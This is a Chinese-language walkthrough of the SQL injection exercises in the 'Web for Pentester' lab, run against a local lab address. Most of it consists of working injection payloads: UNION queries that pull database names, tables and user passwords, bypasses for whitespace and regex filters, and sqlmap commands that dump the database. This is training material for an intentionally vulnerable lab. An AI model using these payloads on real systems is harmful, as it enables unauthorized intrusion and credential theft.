Web for pentester_writeup之SQL injections篇

Web for pentester_writeup之SQL injections篇

SQL injections(SQL注入)

Example 1

测试参数,添加 `and '1'='1`, `'and '1'='2`判断存在注入

猜解查询列数(%23为#号的URL编码,注释原有结构的单引号 `http://192.168.219.136/sqli/example1.php?name=root' order by 5 %23`

`http://192.168.219.136/sqli/example1.php?name=root' order by 6 %23`

所以查询列数为5,构造union联合查询语句查询页面输出的列 `http://192.168.219.136/sqli/example1.php?name=root' union select 1,2,3,4,5%23`

打印输出的列为123,利用输出的列数查询数据库版本,路径和当前数据库 `http://192.168.219.136/sqli/example1.php?name=root' union select @@version,@@datadir,database(),4,5%23`

查询当前数据库中包含的表,注意数据库名称需要用十六进行进行编码exercises=>0x657865726369736573
http://192.168.219.136/sqli/example1.php?name=root' union select TABLE_NAME,@@datadir,database(),4,5 from information_schema.TABLES where TABLE_SCHEMA=0x657865726369736573%23

获取TABLE_NAME表名为users,查询当前表中包含的列,表名也要用十六进制进步编码users=>0x7573657273
http://192.168.219.136/sqli/example1.php?name=root' union select COLUMN_NAME,@@datadir,database(),4,5 from information_schema.COLUMNS where TABLE_NAME=0x7573657273%23

可打印项为3项,我们选择idnamepasswd打印输出

Payload :
http://192.168.219.136/sqli/example1.php?name=root' union select id,name,passwd,4,5 from users%23

成功获取了管理员的账号和密码

Example 2

测试发现无法输入空格,那么我们使用 的URL编码来替换空格

Payload1( ,换行LF)
http://192.168.219.136/sqli/example2.php?name=root'%0aunion%0aselect%0aid,name,passwd,4,5%0afrom%0ausers%23

Payload2(归位CR)
http://192.168.219.136/sqli/example2.php?name=root'%0dunion%0dselect%0did,name,passwd,4,5%0dfrom%0dusers%23

Payload3( ,水平定位HT)
http://192.168.219.136/sqli/example2.php?name=root'%09union%09select%09id,name,passwd,4,5%09from%09users%23

Payload4 (使用/注释/方法)
http://192.168.219.136/sqli/example2.php?name=root'/**/union/**/select/**/id,name,passwd,4,5/**/from/**/users%23

Example 3

测试例2中的payload发现匹配任何空白字符,包括空格、制表符、换页符等,全部过滤掉
只有注释payload成功注入

Payload
http://192.168.219.136/sqli/example3.php?name=root'/**/union/**/select/**/id,name,passwd,4,5/**/from/**/users%23

Example 4

由字符型变为数字型注入,猜测表结构还是一致,直接修改上述payload,去掉单引号,后面的%23即#号注释符号也可以去掉了

Payload
http://192.168.219.136/sqli/example4.php?id=2 union select id,name,passwd,4,5 from users

Example 5

发现使用之前的payload可以直接注入成功

Payload
http://192.168.219.136/sqli/example5.php?id=2 union select id,name,passwd,4,5 from users

查看资料可知考察的是正则表达式

输入的id字段必须是数字开头,不能是字符

Example 6

查看资料

可知同样是考察正则表达式,要求id的输入最后一个字符必须是数字,所以使用payload
http://192.168.219.136/sqli/example6.php?id=5 union select id,name,passwd,4,5 from users提示注入失败

那么当我们需要注释的时候如何处理这种情况呢?我们可以在注释的后面再加上数字即可

Payload
http://192.168.219.136/sqli/example6.php?id=5 union select id,name,passwd,4,5 from users %23 123

Example 7

注入失败,查看资料可知

后台查询语句用/m进行了限制,“行起始”和“行结束”除了匹配整个字符串开头和结束外,还分别匹配其中的换行符的之后和之前,所以我们可以在原语句中加入换行符,在换行符后输入payload( =>%0A),即会判断整个同一行的参数是否符合,通过 换行符来将参数和payload分开在不同行。

Payload
http://192.168.219.136/sqli/example7.php?id=5%0A union select id,name,passwd,4,5 from users %23 123

Example 8

这一题涉及到的知识点是order by的注入,查看参考资料

有两种order by情况:
直接排序:order by name
使用 ` 符号排序: order by `name`

<1> payload: order=name%23` ,没有返回结果

<2> payload: order=name\`%23

<3> payload: order=name`desc%23

可以确定是order by `name` 类型排序,只能通过盲注了,直接上神器SQLMAP

Payload
sqlmap.py -u "http://192.168.219.136/sqli/example8.php?order=name" --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 --dbs

> *`qlmap.py -u "http://192.168.219.136/sqli/example8.php?order=name" --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 -D exercises --dump`*

Example 9

本例和上面相似,
<1> payload: order=name%23

<2> payload: ``order=name`%23 ``,没有返回结果

简单测试后发现排序类型是`order by name`

同样,直接盲注,上SQLMAP神器 >Payload *`sqlmap.py -u "http://192.168.219.136/sqli/example9.php?order=name" --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 --dbs`*

> *`sqlmap.py -u "http://192.168.219.136/sqli/example9.php?order=name" --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 -D exercises --dump`*
https://chaceshadow.github.io/
原文地址:https://www.cnblogs.com/liliyuanshangcao/p/11315282.html